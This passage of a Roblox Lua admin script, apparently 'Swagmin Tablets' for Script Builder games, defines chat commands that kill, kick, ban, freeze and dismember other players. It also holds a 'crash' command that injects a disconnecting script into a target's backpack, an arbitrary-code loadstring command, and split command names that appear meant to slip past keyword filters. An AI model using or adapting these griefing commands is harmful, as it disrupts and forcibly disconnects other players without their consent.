- Gui = Instance.new("BillboardGui")
- Gui.Parent = model
- Gui.Adornee = part
- Gui.Size = UDim2.new(1, 0, 1, 0)
- Gui.StudsOffset = Vector3.new(0, 3, 0)
- local Frame = Instance.new("Frame",Gui)
- Frame.Size = UDim2.new(1, 0, 1, 0)
- Frame.BackgroundTransparency = 1
- Label = Instance.new("TextLabel")
- Label.Parent = Frame
- Label.Size = UDim2.new(1,0,1,0)
- Label.FontSize = "Size24"
- Label.TextColor3 = color[1]
- Label.Text = message
- Label.BackgroundTransparency = 1
- Label.Font = 'ArialBold'
- table.insert(tablets2,model)
- return model
- end
- CreateTablets3 = function(Texts,Colors,Player)
- tab = {}
- for i=1,#Texts do
- local Color = Colors[i]
- if not Color then
- Color = Colors[1]
- end
- local Tb = Output3(Texts[i],{Color},Player)
- table.insert(tab,Tb)
- end
- for i=1,#tab do
- coroutine.wrap(function()
- local f=i*(200/#tab)
- while wait() do
- f=f+0.4
- if Player.Character then
- local pos = Camera.Focus.p
- p.CFrame=CFrame.new(pos + (Vector3.new(math.sin(f/100*math.pi),0.05,math.cos(f/100*math.pi))*10))
- end
- end
- end)()
- end
- end
- --[[Crash]]--
- function crash(plr)
- --Output3("Crash doesn't work fine",{Colors.Red},LocalPlayer)
- end
- --[[ UpdateTablets ]]--
- ROT,RIN = 0,0.05
- UpdateTablets = function()
- local _tablets = GetTablets(LocalPlayer)
- local cf = workspace.CurrentCamera.Focus
- local m = #_tablets / 16
- if not Fire then
- for k,v in pairs(_tablets) do
- if v:findFirstChild("Part") then
- v.Part.Anchored = true
- local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(5+10*m,0,0)
- v.Part.CFrame = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
- if v:findFirstChild("BodyPosition") then
- v.BodyPosition:Destroy()
- end
- if v:findFirstChild("BodyGyro") then
- v.BodyGyro:Destroy()
- end
- end
- end
- else
- for k,v in pairs(_tablets) do
- if v:findFirstChild("Part") then
- v.Part.Anchored = false
- local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(5+10*m,0,0)
- if not v.Part:FindFirstChild("BodyPosition") then
- Instance.new("BodyPosition",v.Part).maxForce = Vector3.new(math.huge, math.huge, math.huge)
- end
- if not v.Part:FindFirstChild("BodyGyro") then
- Instance.new("BodyGyro",v.Part).maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- end
- v.Part.BodyPosition.position = c.p
- v.Part.BodyGyro.cframe = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
- end
- end
- end
- end
- UpdateTablets2 = function()
- local _tablets = GetTablets2(LocalPlayer)
- local cf = workspace.CurrentCamera.Focus
- local m = #_tablets / 16
- if not Fire then
- for k,v in pairs(_tablets) do
- if v:findFirstChild("Part") then
- v.Part.Anchored = true
- local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(7+7*m,7,7)
- v.Part.CFrame = CFrame.new(c.p,cf.p)
- if v:findFirstChild("BodyPosition") then
- v.BodyPosition:Destroy()
- end
- if v:findFirstChild("BodyGyro") then
- v.BodyGyro:Destroy()
- end
- end
- end
- else
- for k,v in pairs(_tablets) do
- if v:findFirstChild("Part") then
- v.Part.Anchored = false
- local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(7+7*m,7,7)
- if not v.Part:findFirstChild("BodyPosition") then
- Instance.new("BodyPosition",v.Part).maxForce = Vector3.new(math.huge, math.huge, math.huge)
- end
- if not v.Part:findFirstChild("BodyGyro") then
- Instance.new("BodyGyro",v.Part).maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- end
- v.Part.BodyPosition.position = c.p
- v.Part.BodyGyro.cframe = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
- end
- end
- end
- end
- --[[ OnChatted ]]--
- IsExplorerCmd = function(Cmd) return Cmd:find("dismiss") or Cmd:find("destroy") or Cmd:find("dt") end
- OnChatted = function(Msg,Speaker)
- if Explorer.On then
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,#Command.Command+1):lower() == Command.Command:lower()..""..Bet.."" then
- if IsExplorerCmd(Command.Command:lower()) or Command.Command:lower() == "destroy" then
- Explorer.On = false
- local Ran,Error = ypcall(Command.Func,Msg:sub(#Command.Command+2),Speaker)
- if not Ran then
- Output(Error,{Colors.Red},LocalPlayer)
- end
- end
- end
- end
- if GuiChat == true then
- if ChatNo == true then
- Chat(Msg)
- else
- Chat2(Msg)
- end
- else
- local tar = LocalPlayer.Character and LocalPlayer.Character:findFirstChild("Head") or Probe
- pcall(function() game:GetService("Chat"):Chat(tar,Msg,"Green") end)
- end
- elseif not Removed then
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,#Command.Command+1):lower() == Command.Command:lower()..""..Bet.."" then
- local Ran,Error = ypcall(Command.Func,Msg:sub(#Command.Command+2),Speaker)
- if not Ran then
- Output(Error,{Colors.Red},LocalPlayer)
- end
- end
- end
- if GuiChat == true then
- if ChatNo == true then
- Chat(Msg)
- else
- Chat2(Msg)
- end
- else
- local tar = LocalPlayer.Character and LocalPlayer.Character:findFirstChild("Head") or Probe
- pcall(function() game:GetService("Chat"):Chat(tar,Msg,"Green") end)
- end
- end
- end
- local OC = nil
- OnChatted2 = function(m,s)
- if m == 'fix'..Bet then
- OC:disconnect()
- OC=LocalPlayer.Chatted:connect(OnChatted)
- end
- end
- --[[ GetPlayers ]]--
- function GetPlayers(string,Player)
- Rtn = {} if Player == nil then Player = player end
- if string == "all" then
- for _,v in pairs(Players:GetPlayers()) do table.insert(Rtn,v) end
- elseif string == "others" then
- for _,v in pairs(Players:GetPlayers()) do if v ~= Localplayer then table.insert(Rtn,v) end end
- elseif string == "random" then
- table.insert(Rtn,Players:GetPlayers()[math.random(1,#Players:GetPlayers())])
- elseif string == "me" then
- table.insert(Rtn,Player)
- elseif string == "vetrans" then
- for _,v in pairs(Players:GetPlayers()) do if v.AccountAge > 365 then table.insert(Rtn,v) end end
- elseif string == "nonvetrans" or string == "notvetrans" then
- for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 365 then table.insert(Rtn,v) end end
- elseif string == "losers" then
- for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 60 then table.insert(Rtn,v) end end
- else
- for _,v in pairs(Players:GetPlayers()) do
- if string.sub(string.lower(v.Name),1,#string) == string.lower(string) then
- table.insert(Rtn,v)
- end
- end
- end
- return Rtn
- end
- --[[ Start ]]--
- Start = function()
- coroutine.resume(coroutine.create(function()
- while wait(1) do
- if not Removed and AntiFall then
- pcall(function()
- if game.Players.LocalPlayer.Character.Torso.CFrame.Y < 1 then
- game.Players.LocalPlayer.Character.Torso.CFrame = CFrame.new(0,50,0)
- end
- end)
- end
- end
- end))
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- UpdateTablets()
- UpdateTablets2()
- end
- end))
- OC=LocalPlayer.Chatted:connect(OnChatted)
- LocalPlayer.Chatted:connect(OnChatted2)
- end
- Start()
- --[[ Split Function ]]--
- function Split(str)
- local res = {}
- for s in string.gmatch(str,"[^;]+") do
- table.insert(res,s)
- end
- return res
- end
- --[[ AddCommand ]]--
- function AddCommand(Name,Command,Func)
- Commands[Name] = {Command = Command,Func = Func}
- end
- --[[ Commands ]]--
- AddCommand('Params','parms',
- function(Msg,Speaker)
- Output("Speaker: "..tostring(Speaker or "nil"), {Colors.Red}, LocalPlayer)
- for k,v in pairs(Split(Msg)) do
- Output("Arg"..k..": "..tostring(v or "nil"), {Colors.Red}, LocalPlayer)
- end
- end
- )
- AddCommand('ForceField','ff',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character then
- Instance.new("ForceField", v.Character).Name = "nilforcefield"
- Output2("Gave forcefield to "..v.Name,{Colors.Red},LocalPlayer)
- end end end
- )
- AddCommand('Remove ForceField','unff',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character then
- for i,f in pairs(v.Character:GetChildren()) do
- if f.ClassName == "ForceField" then
- f:remove()
- Output2("Removed ForceField from "..v.Name,{Colors.Red},LocalPlayer)
- end end end end end
- )
- AddCommand("Nil Shout","shout", function(Msg,Speaker)
- local tag = Instance.new("StringValue")
- tag.Name = "NILSHOUT"
- tag.Value = LocalPlayer.Name..": "..Msg
- tag.Parent = game.Lighting
- wait(1)
- tag:Destroy()
- end)
- AddCommand('Com'..'mands','cm'..'ds',
- function(Msg,Speaker)
- rtn = {}
- for name,Cmd in pairs(Commands) do
- table.insert(rtn, name .. ' : ' .. Cmd.Command)
- if OutputType then
- Output(name .. ' : ' .. Cmd.Command .. Bet,{Color3.new(1,0,0)},LocalPlayer)
- end
- end
- if not OutputType then ping(rtn,Colors.Red) end
- end
- )
- AddCommand('Reset Character','char',
- function(Msg,Speaker)
- LoadCharacter(CFrame.new(0,20,0))
- Wait(1)
- OnChatted('Get/Reset',Speaker)
- Output2('Got Your Reset,Lord',{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Smite','smite',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- local Char = v.Character
- local Smite = Instance.new("Part",workspace)
- Smite.FormFactor = "Custom"
- Smite.TopSurface = "Smooth"
- Smite.BottomSurface = "Smooth"
- Smite.Anchored = true
- Smite.Locked = true
- Smite.Size = Vector3.new(25,3,25)
- Smite.BrickColor = BrickColor.new("Red")
- Smite.Transparency = 1
- Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
- for i=1,0,-0.05 do
- wait()
- Smite.Transparency = i
- end
- coroutine.resume(coroutine.create(function()
- for i=0,1,0.05 do
- wait()
- Smite.Transparency = i
- end
- Smite:remove()
- end))
- wait()
- local Expl = Instance.new("Explosion",workspace)
- Expl.Position = Smite.Position
- Expl.BlastPressure = 1000000000
- for _,Part in pairs(GetRecursiveChildren(Char)) do
- if Part:IsA("BasePart") then
- coroutine.resume(coroutine.create(function()
- for i=1,10 do
- local Sparkles = Instance.new("Sparkles",Part)
- Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
- local Fire = Instance.new("Fire",Part)
- Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
- Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
- end
- Part:BreakJoints()
- local BP = Instance.new("BodyPosition",Part)
- BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- BP.P = 1000
- BP.position = Part.Position + Vector3.new(
- math.random(-100,100),
- 100,
- math.random(-100,100))
- wait(3)
- local Expl = Instance.new("Explosion",workspace)
- Expl.Position = Part.Position
- Expl.BlastPressure = 1000000000
- end))
- end
- end
- end
- end
- )
- AddCommand('Anti Kill','antikill',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- Delay(0, function()
- local player = v
- local pos = CFrame.new()
- local pause = false
- Delay(0, function()
- while not close do
- wait()
- if not pause then
- local c = player.Character
- if c then
- local t = c:findFirstChild("Torso")
- if t then
- pos = t.CFrame
- end
- end
- end
- end
- end)
- player.CharacterAdded:connect(function(c)
- if not close then
- pause = true
- repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
- c:findFirstChild("Torso").CFrame = pos
- c:findFirstChild("Humanoid").Died:connect(function()
- player:LoadCharacter()
- end)
- pause = false
- end
- end)
- pcall(function() player.Character:BreakJoints() end)
- end)
- end
- end
- )
- AddCommand("Activates Your Probe","probe",
- function(Msg,Speaker)
- if msg == 0 or msg == nil then
- if LocalPlayer.Character then
- LocalPlayer.Character:Destroy()
- end
- LoadProbe()
- wait(1)
- Output("You're now probed!",{Colors.Red},LocalPlayer)
- Output("Probe is nil",{Colors.Red},LocalPlayer)
- Output("Running Check Player Scripts",{Colors.Red},LocalPlayer)
- Output("Probe Loaded",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand("Small Base","sbase",
- function(Msg,Speaker)
- local Base = Workspace:FindFirstChild("Base")
- Base.Size = Vector3.new(50,1,50)
- Base.CFrame = CFrame.new(0,0,0)
- Output2("Made base smaller",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand("Change base size","bvec",
- function(Msg,Speaker)
- local Base = Workspace:FindFirstChild("Base")
- Base.Size = Vector3.new(tonumber(Msg),1,tonumber(Msg))
- Base.CFrame = CFrame.new(0,0,0)
- Output2("Changed base ",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand("Change base Position","bcfr",
- function(Msg,Speaker)
- local Base = Workspace:FindFirstChild("Base")
- Base.Size = Vector3.new(50,1,50)
- Base.CFrame = CFrame.new(tonumber(Msg),1,tonumber(Msg))
- Output2("Changed base ",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand("Freeze","freeze",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Character.Torso.Anchored = true
- Output2("Froze "..v.Name.."",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand("Thaw","thaw",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- if v.Character and v:findFirstChild("Torso") then
- v.Character.Torso.Anchored = false
- Output2("Thawed "..v.Name.."",{Colors.Red},LocalPlayer)
- end
- end
- end
- )
- AddCommand('Loadstring','load',
- function(Msg,Speaker)
- local Ran,Error = coroutine.resume(coroutine.create(function()loadstring(Msg)() end))
- if not Ran then
- Output('Error',{Colors.Red},LocalPlayer)
- else
- Output('Script ran',{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand("Infinite Health","inf",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Character.Humanoid.MaxHealth = math.huge
- Output2("Made"..v.Name.."a god",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Rejoins you To The game(Not Server)','rej',
- function(Msg,Speaker)
- game:service'TeleportService':Teleport(game.PlaceId)
- end
- )
- AddCommand("Nil Player","nil",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Character = nil
- Output2("Niled"..v.Name.."",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('C'..'rash','cr'..'ash',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- local NS = ClonyPooPoo:Clone()
- local Source = NS:FindFirstChild("Source") or NS:FindFirstChild("DSource") or NS:findFirstChild(SourceName)
- if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
- Source.Value = [[
- local LocalPlayer = game:service'Players'.LocalPlayer
- LocalPlayer.Parent = nil
- wait()
- LocalPlayer.Parent = game:service'Players'
- ]]
- NS.Parent = v:findFirstChild('Backpack')
- NS.Disabled = true
- wait()
- NS.Disabled = false
- NS.Disabled = false
- Output('You have crashed ' .. v.Name,{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Ki'..'ck','k'..'ick',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- table.insert(KL,v.Name)
- v:Destroy()
- Output2("You have ki".."cked "..v.Name.."",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Kill','kill',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Character:BreakJoints()
- Output2('You have killed' .. ' ' .. v.Name,{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Remove','disable',
- function(Msg,Speaker)
- if #Msg == 0 then
- Removed = true
- Commands = {}
- tag = Instance.new("StringValue")
- tag.Value = LocalPlayer.Name
- tag.Name = "DISABLED"
- tag.Parent = game:GetService("Lighting")
- end
- end
- )
- AddCommand('Dismiss','dismiss',
- function(Msg,Speaker)
- for num,v in pairs(tablets) do v:Remove() end
- Radius = 40
- Output2("Dismissed Tablets",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Destroy Tablets','dt',
- function(msg,Speaker)
- for num,v in pairs(tablets) do v:Destroy() end
- end
- )
- AddCommand('Explorer','explorer',
- function(msg,Speaker)
- Radius = 80
- OnChatted("dt"..Bet,Speaker)
- local rea,par = nil, game
- if msg:lower() == "old" or msg:lower() == "previous" or msg:lower() == "current" then
- rea = Explorer.Parent
- else
- local pars = Split(msg)
- if #pars == 1 then
- msg = pars[1]
- else
- msg = pars
- end
- ypcall(function()
- if type(msg) == "table" and #msg == 0 then
- rea = game
- elseif type(msg) == "string" then
- rea = game:findFirstChild(msg) or workspace:findFirstChild(msg)
- else
- if msg[1]:lower() == "old" or msg[1]:lower() == "previous" or msg[1]:lower() == "current" then
- par = Explorer.Parent
- rea = par
- else
- par = game:findFirstChild(msg[1]) or workspace:findFirstChild(msg[1])
- rea = par
- end
- for i=2,#msg do
- par = rea:findFirstChild(msg[i])
- if par then
- rea = par
- else
- break
- end
- end
- end
- end)
- end
- if not rea then
- Output("This object is not found!", {Colors.Red}, Localplayer)
- return
- end
- Explorer.On = true
- Explorer.Parent = rea
- for k,v in pairs(rea:GetChildren()) do
- pcall(function()
- local tag = Instance.new("ObjectValue",Output(v.Name.." ("..v.ClassName..")", {Colors.Orange},LocalPlayer))
- tag.Name = "Explorer"
- tag.Value = v
- end)
- end
- Instance.new("StringValue",Output("Parent",{Colors.White},LocalPlayer)).Name = "Parent"
- Instance.new("StringValue",Output("Dismiss",{Colors.Red},LocalPlayer)).Name = "Dismiss"
- Output("Exploring "..rea.Name.." ("..rea.ClassName..")",{Colors.Red},LocalPlayer)
- if rea:IsA("Player") then
- for a,b in pairs({"AccountAge","Character"}) do
- Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
- end
- elseif rea:IsA("Lighting") then
- for a,b in pairs({"Brightness","Ambient","FogStart","FogEnd"}) do
- Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
- end
- elseif rea:IsA("DataModel") then
- for a,b in pairs({"CreatorId","CreatorType","JobId","PlaceId"}) do
- Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
- end
- end
- end
- )
- Output('Thanks to Derek1017 for commands',{Colors.Red},LocalPLayer)
- AddCommand('Destroy','destroy',
- function(msg,Speaker)
- if msg == "" or msg == "old" or msg == "previous" or msg == "current" then
- Output("Trying to destroy object currently in exporer",{Colors.White},LocalPlayer)
- if pcall(function() Explorer.Parent:Destroy() end) then
- Output("Object deleted!",{Colors.Red}, LocalPlayer)
- else
- Output("This can't be deleted!",{Colors.Red}, LocalPlayer)
- end
- return
- end
- local rea,par = nil, game
- ypcall(function()
- if #msg == 0 then
- rea = game
- elseif type(msg) == "string" then
- rea = game:findFirstChild(msg) or workspace:findFirstChild(msg)
- elseif #msg >= 2 then
- par = game:findFirstChild(msg[1]) or workspace:findFirstChild(msg[1])
- for i=2,#msg do
- par = rea:findFirstChild(msg[i])
- if par then
- rea = par
- else
- break
- end
- end
- end
- end)
- if not rea then
- Output("This object is not found!", {Colors.Red}, LocalPlayer)
- return
- end
- if pcall(function() rea:Destroy() end) then
- Output("Object deleted!",{Colors.Red}, LocalPlayer)
- else
- Output("This can't be deleted!",{Colors.Red}, LocalPlayer)
- end
- end
- )
- AddCommand('Ping','ping',
- function(Msg,Speaker)
- rtn = {}
- fty = {}
- if #Msg == 0 then
- table.insert(rtn,'Pinging Server For Hidden No-No Models!')
- elseif Msg:sub(1,2) == 'a;' then table.insert(rtn,tostring(loadstring("return " .. Msg:sub(3))()))
- elseif Msg == 'banned' then for _,v in pairs(banlist) do table.insert(rtn,v) end
- elseif Msg == 'allowed' then for _,v in pairs(allowed) do table.insert(rtn,v) end
- elseif Msg == 'Hello' then
- Output('Hello Your Tablet Interface is Operational',{Colors.Orange},LocalPlayer)
- elseif Msg == 'AFK' then
- Output('Derek1017 Is AFK Dont Talk To Him Or You May Be Banned',{Colors.Red},LocalPlayer)
- elseif Msg == 'Rules' then
- Output('These Are The Rules',{Colors.Orange},LocalPlayer)
- Output('No Camballs',{Colors.Red},LocalPlayer)
- Output('No Orbs',{Colors.Red},LocalPlayer)
- Output('No Adm'..'in',{Colors.Red},LocalPlayer)
- Output('Dont Be Rude',{Colors.Red},LocalPlayer)
- Output('No Killing Gods',{Colors.Red},LocalPlayer)
- Output('No Arguments',{Colors.Red},LocalPlayer)
- Output('Dont Beg For Anything',{Colors.Red},LocalPlayer)
- Output('Dont Be A Noob',{Colors.Red},LocalPlayer)
- Output('Dont Provoke Me',{Colors.Red},LocalPlayer)
- Output('Dont Ask For Ad'..'min',{Colors.Red},LocalPlayer)
- Output('Dont Script Unless Told To',{Colors.Red},LocalPlayer)
- Output('Dont Find Loopholes In The Rules',{Colors.Red},LocalPlayer)
- Output('Dont Use Innapropriate Scripts',{Colors.Red},LocalPlayer)
- Output('Dont Try To Cross Me',{Colors.Red},LocalPlayer)
- Output('Dont Use Any Camspheres',{Colors.Red},LocalPlayer)
- Output('Dont use Forum Scripts',{Colors.Red},LocalPlayer)
- Output('Never Shut'..'down The Server',{Colors.Red},LocalPlayer)
- elseif Msg == 'Version' then
- Output('The Version is '..Version..' In case You Wanted to Know ',{Colors.Red},LocalPlayer)
- elseif Msg == 'version' then
- Output2('The Version is '..Version..' In case You Wanted to Know ',{Colors.Red},LocalPlayer)
- elseif Msg == 'load' then
- Output2("Navi Comm Loading",{Colors.Red},Speaker)
- Wait(3)
- Output3("Please Choose A Program By Saying Ping,Then the program name",{Colors.Red},Localplayer)
- Output3("Players Online This Game,Players",{Colors.Cyan},Localplayer)
- Output3("Banned Players,Banned",{Colors.Cyan},Localplayer)
- Output3("Kicking Phrases,Kp",{Colors.Cyan},Localplayer)
- Output3("Allowed Players,Allowed",{Colors.Cyan},Localplayer)
- Output3("AFK Mode,AFK",{Colors.Cyan},Localplayer)
- Output3("Interface Test,Hello",{Colors.Cyan},Localplayer)
- Output3("Show Rules,Rules",{Colors.Cyan},Localplayer)
- Output3("shows the ping version information,Version",{Colors.Cyan},Localplayer)
- Output3("shows the ping2 version information,version",{Colors.Cyan},Localplayer)
- Output3("load the System over,load",{Colors.Cyan},Localplayer)
- Output3("Information,Info",{Colors.Cyan},Localplayer)
- Output3("Show Log,bl",{Colors.Cyan},Localplayer)
- Output3("Show Log,kl",{Colors.Cyan},Localplayer)
- Output3("Show Name,sn",{Colors.Cyan},Localplayer)
- Output3("Show atmp log,atmp",{Colors.Cyan},Localplayer)
- Output3("Shows Notes,nts",{Colors.Cyan},Localplayer)
- Output3("Show plog,plog",{Colors.Cyan},Localplayer)
- Output3("KFC,kfc",{Colors.Cyan},Localplayer)
- Output3("Dismiss,Dismiss",{Colors.Cyan},Localplayer)
- elseif Msg == 'kfc' then for _,v in pairs(KFC) do table.insert(rtn,v) end
- Output3("Showing ki".."cked for chatting players",{Colors.Red},Localplayer)
- elseif Msg == 'nts' then for _,v in pairs(NTS) do table.insert(rtn,v) end
- Output3("Showing Notes",{Colors.Red},Localplayer)
- elseif Msg == 'Kp' then for _,v in pairs(KickingPhrases) do table.insert(rtn,v) end
- Output3("Showing ki".."cking Phrases",{Colors.Red},Localplayer)
- elseif Msg == 'bl' then for _,v in pairs(BL) do table.insert(rtn,v) end
- Output3("Showing Ba".."n Log",{Colors.Red},Localplayer)
- elseif Msg == 'atmp' then for _,v in pairs(atmp) do table.insert(rtn,v) end
- Output3("Showing Attempted Rejoins",{Colors.Red},Localplayer)
- elseif Msg == 'plog' then for _,v in pairs(PLOG) do table.insert(rtn,v) end
- Output3('Showing Player Log',{Colors.Red},Localplayer)
- elseif Msg == 'sn' then
- Output3("Script Name Is : "..Name.." By Derek1017",{Colors.Red},Localplayer)
- Output("Script Name Is : "..Name.." By Derek1017",{Colors.Red},Localplayer)
- elseif Msg == 'USA' then Output("Local Names Are:",{Colors.Red},Localplayer)
- Output3("Dark",{Colors.Cyan},Localplayer)
- Output3("Anom",{Colors.Cyan},Localplayer)
- Output3("Mod",{Colors.Cyan},Localplayer)
- Output3("Rob",{Colors.Cyan},Localplayer)
- Output3("Shed",{Colors.Cyan},Localplayer)
- Output3("Noob",{Colors.Cyan},Localplayer)
- Output3("Unk",{Colors.Cyan},Localplayer)
- elseif Msg == 'KB' then
- Output("Keys Are:",{Colors.Red},Localplayer)
- Output3("t",{Colors.Cyan},Localplayer)
- Output3("j",{Colors.Cyan},Localplayer)
- Output3("n",{Colors.Cyan},Localplayer)
- Output3("u",{Colors.Cyan},Localplayer)
- Output3("e",{Colors.Cyan},Localplayer)
- Output3("k",{Colors.Cyan},Localplayer)
- Output3("c",{Colors.Cyan},Localplayer)
- Output3("v",{Colors.Cyan},Localplayer)
- Output3("b",{Colors.Cyan},Localplayer)
- Output3("m",{Colors.Cyan},Localplayer)
- Output3("r",{Colors.Cyan},Localplayer)
- Output3(";",{Colors.Cyan},Localplayer)
- Output3("]",{Colors.Cyan},Localplayer)
- Output3("f",{Colors.Cyan},Localplayer)
- Output3("p",{Colors.Cyan},Localplayer)
- elseif Msg == 'kl' then for _,v in pairs(KL) do table.insert(rtn,v) end
- Output3("Showing ki".."ck Log",{Colors.Red},Localplayer)
- elseif Msg == 'Info' then
- Output("This Program Was Made To Be used In Script Builder",{Colors.Red},Localplayer)
- Output("This Was Created by all who helped",{Colors.Red},Localplayer)
- Output("The Version Can be seen by saying ping;version or ping;Version",{Colors.Magenta},Localplayer)
- Output("This is not a program to be abused",{Colors.Red},Localplayer)
- Output("This will not be given out",{Colors.Red},Localplayer)
- Output("This Program took 1 months to update",{Colors.Red},Localplayer)
- Output("#=-_Derek1017_-=#",{Colors.Red},Localplayer)
- elseif Msg == 'players' then
- for _,ply in pairs(game.Players:GetPlayers()) do
- table.insert(rtn,ply.Name)
- end
- else
- table.insert(rtn,Msg)
- end
- for _,m in pairs(rtn) do
- Output3(m,{Color3.new(1,1,1)},LocalPlayer)
- end
- end
- )
- AddCommand('Unlocks Hidden Functions','unlock',
- function(Msg,Speaker)
- if Msg == 'grandma' then
- Output2('Correct Passcode',{Colors.Red},Localplayer)
- Output2('..Loading Interface...',{Colors.Red},Localplayer)
- Wait(4)
- Output('Welcome To The Creator Interface!',{Colors.Red},Localplayer)
- Output('If you are here you know that this is the main control center of this script',{Colors.Red},Localplayer)
- Output('Your Cmds Are:',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- Output('Not Created Yet',{Colors.Red},Localplayer)
- else
- Output2('Incorrect Passcode!',{Colors.Red},Localplayer)
- end
- end
- )
- AddCommand('Ba'..'nish','b'..'an',
- function(Msg,Speaker)
- for a,b in pairs(GetPlayers(Msg,Speaker)) do
- table.insert(banlist,b.Name)
- table.insert(BL,b.Name)
- OnChatted('crash'..Bet..b.Name,Speaker)
- end
- end
- )
- AddCommand('Remove Legs','nolegs',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- for i,j in pairs(v.Character:GetChildren()) do
- if j.Name == "Left Leg" or j.Name == "Right Leg" then
- j:remove()
- end end end
- Output("Removed player's legs",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Remove Hats','nohats',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- for i,j in pairs(v.Character:GetChildren()) do
- if j.ClassName == "Hat" then
- j:remove()
- end end end
- Output("Removed player's hats",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Remove Face','noface',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- for i,j in pairs(v.Character.Head:GetChildren()) do
- if j.ClassName == "Decal" then
- j:remove()
- end end end
- Output("Removed player's face",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Remove Arms','noarms',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- for i,j in pairs(v.Character:GetChildren()) do
- if j.Name == "Left Arm" or j.Name == "Right Arm" then
- j:remove()
- end end end
- Output("Removed player's arms",{Colors.Red},LocalPlayer)
- end
- )
- Output('Swagmin Tablets Loaded',{Colors.Red},LocalPLayer)
- AddCommand('Chage Time','time',
- function(Msg,Speaker)
- if string.lower(word) == "noon" then
- game:GetService("Lighting").TimeOfDay = "18:00:00"
- elseif string.lower(word) == "morning" then
- game:GetService("Lighting").TimeOfDay = "0:00:00"
- end
- game:GetService("Lighting").TimeOfDay = tonumber(word)
- Output("Changed time")
- end
- )
- AddCommand('Change Ambient','ambient',
- function(Msg,Speaker)
- game:GetService("Lighting").Ambient = Color3.new(tonumber(word))
- Output2("Changed ambient",{Colors.Red},LocalPlayer)
- end
- )
